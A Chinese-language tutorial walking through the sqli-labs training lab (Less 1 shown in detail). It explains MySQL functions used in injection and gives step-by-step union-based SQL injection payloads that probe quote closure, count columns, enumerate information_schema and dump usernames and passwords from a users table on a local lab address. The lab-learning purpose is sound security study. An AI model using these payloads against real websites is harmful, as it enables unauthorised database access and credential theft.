1. 程式人生 > 實用技巧 >sqli-labs-Less 1-10 之手工注入和sqlmap注入

sqli-labs-Less 1-10 之手工注入和sqlmap注入

宣告

學習SQL注入,提高網路安全能力,其實大部分環境下,測試人員做的工作都截止到漏洞發現,簡單回顧一下,漏洞發現的實質就是發現SQL語句的閉合方式,一般來講都圍繞著這幾個符號

雙引號 "

單引號 '

雙引號括號 ")

單引號括號')

實際運用過程如下,仔細觀察伺服器給的反饋,或者結合sleep函式進行使用

http://192.168.239.138:86/Less-9/?id=" --+
http://192.168.239.138:86/Less-9/?id=' --+
http://192.168.239.138:86/Less-9/?id=") --+
http://192.168.239.138:86/Less-9/?id=') --+

常用

database()

返回當前資料庫名

version()

返回資料庫的版本號

CONCAT(s1,s2…sn)

字串 s1,s2 等多個字串合併為一個字串

CONCAT_WS(x, s1,s2…sn)

同 CONCAT(s1,s2,…) 函式,但是每個字串之間要加上 x,x 可以是分隔符

LIMIT

mysql> SELECT * FROM table LIMIT 5,10; // 檢索記錄行 6-15

//為了檢索從某一個偏移量到記錄集的結束所有的記錄行,可以指定第二個引數為 -1: 
mysql> SELECT * FROM table LIMIT 95,-1; // 檢索記錄行 96-last.

//如果只給定一個引數,它表示返回最大的記錄行數目: 
mysql> SELECT * FROM table LIMIT 5; //檢索前 5 個記錄行

//換句話說,LIMIT n 等價於 LIMIT 0,n。

sleep

left

LEFT(s,n) 返回字串 s 的前 n 個字元

返回字串 runoob 中的前兩個字元:

SELECT LEFT(‘runoob’,2) – ru

mid

mid()函式為擷取字串一部分。mid(column_name,start,length)

column_name 必需,要提取字元的欄位

start 必需,規定開始位置(起始為1)

length 可選,要返回的字元數,如果省略則返回剩餘文字

eg:str=“123456” mid(str,2,1) 結果為2

substr

substr()

Substr()和substring()函式實現的功能是一樣的,均為擷取字串。

string substring(string, start, length)

string substr(string, start, length)

引數描述同mid()函式,第一個引數為要處理的字串,start為開始位置,length為擷取的長度

ASCII

返回字串 s 的第一個字元的 ASCII 碼。
返回 CustomerName 欄位第一個字母的 ASCII 碼:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count

返回查詢的記錄總數,expression 引數是一個欄位或者 * 號

返回 Products 表中 products 欄位總共有多少條記錄:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

if

IF(expr,v1,v2) 如果表示式 expr 成立,返回結果 v1;否則,返回結果 v2
SELECT IF(1 > 0,‘正確’,‘錯誤’)
->正確

updatexml

updatexml()函式,是更新xml文件的函式。

語法updatexml(目標xml文件,xml路徑,更新的內容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

第一關

題目已經告訴我們提示了,有一個ID欄位了

使用單引號進行測試,一般來說第一個payload都是單引號,如果程式返回SQL語法錯誤,那就是實錘了,肯定有SQL注入

?id='

繼續測試,構建完成語句

?id=1 and true --+

至此,發現漏洞過程結束,開始漏洞利用了

判斷當前表的欄位數 顯示不存在欄位,這裡得用+代替空格了

?id=1' order by 4 --+

?id=1' order by 3 --+
使用這個payload,發現沒反應?仔細想想,需要把id換成不存在的值,聯合出查詢但是隻有一個回顯值,所以隨便選個不存在的id
?id=-1' union select 1,2,3 --+

開始查詢information_schema

可以看到,我們union查詢了3個欄位值,第一個是null,說白了就是湊數的,第二個是資料庫名,顯示在了圖片第二行,第三個是資料庫版本,顯示在了第三行,後續的查詢,可以操縱SQL語句,讓想要爆破的欄位值顯示在第二行和第三行

?id=-1' union select null,database(),version()--+

繼續爆破,從information_schema.tables表,簡單回顧一下,爆破的是資料庫名和表明欄位,所以取得是security庫裡面第一條記錄的庫名和表名

?id=-1' union select null,table_schema,table_name from information_schema.tables where table_schema='security' limit 0,1--+

改變 limit m, n 中的 m, 從表中一行行查詢 0~99,其實就是把security庫中每一張表名都爆出來,什麼?limit好麻煩,那就使用concat函式吧

?id=-1' union select 1,group_concat('---',table_name),3 from information_schema.tables where table_schema='security'--+

看看users表裡面都有哪些有價值的欄位

?id=-1' union select 1,group_concat('---',column_name),3 from information_schema.columns where table_name='users'--+

我們來獲得使用者名稱和密碼的欄位,這裡我們已經查到users表了,所以就操縱users表

?id=-1' union select 1,group_concat(username,'---',password),3 from users--+

這樣就成功了